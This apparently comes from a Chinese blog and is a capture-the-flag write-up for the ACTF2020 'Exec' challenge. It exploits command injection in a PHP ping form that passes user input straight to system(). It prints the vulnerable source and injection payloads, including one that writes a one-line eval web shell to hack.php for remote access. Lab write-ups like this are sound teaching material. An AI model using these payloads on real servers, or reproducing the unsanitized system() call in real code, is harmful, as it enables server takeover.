[ACTF2020 新生赛]Exec 1

我一看    原来是 命令执行 

 原理分析 服务端脚本文件使用了 敏感的系统函数  而且 其中参数能受到攻击者 控制 导致攻击者可以构造恶意代码 在服务器端进行恶意代码执行 包括 获取webshell   之后可进行一系列危害巨大的操作

 这里 有时候需要考虑到服务器端是什么操作系统 判断也很简单 改变 URL 中的随便一个小写字符为大写  判断是否出错    记住 Linux 对大小写敏感  windows对大小写不明那
  这里可以看到当前目录下没有 flag.php 

我们可以先看下index.php 看看过滤了什么

127.0.0.1;base64 index.php

 将 Index.php 进行base64 编码输出

获取源码 

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>command execution</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

<div class="input-group">
<input style="280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
</div>
<br/>
<br/>

<button style="280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
</pre></body>
</html>

发现 并没有任何 过滤 所以我们完全可以 写shell

127.0.0.1;echo '<?php @eval($_POST['cmd']); ?>' > hack.php 

将一句话写进hack.php 

蚁剑 连接 

 虽然我一猜就在根目录 但是 用查找命令找还是浪费了很多时间 因为对文件查找命令不太 熟练  只知道find 是不行的

 

 

 

 

 

 怪不得 之前 直接用 find / -name "flag*" 难找 

欢迎关注我的私人博客: https://arg1nt.gitee.io/2021/03/01/go/#more
原文地址:https://www.cnblogs.com/Arg1nt/p/14105814.html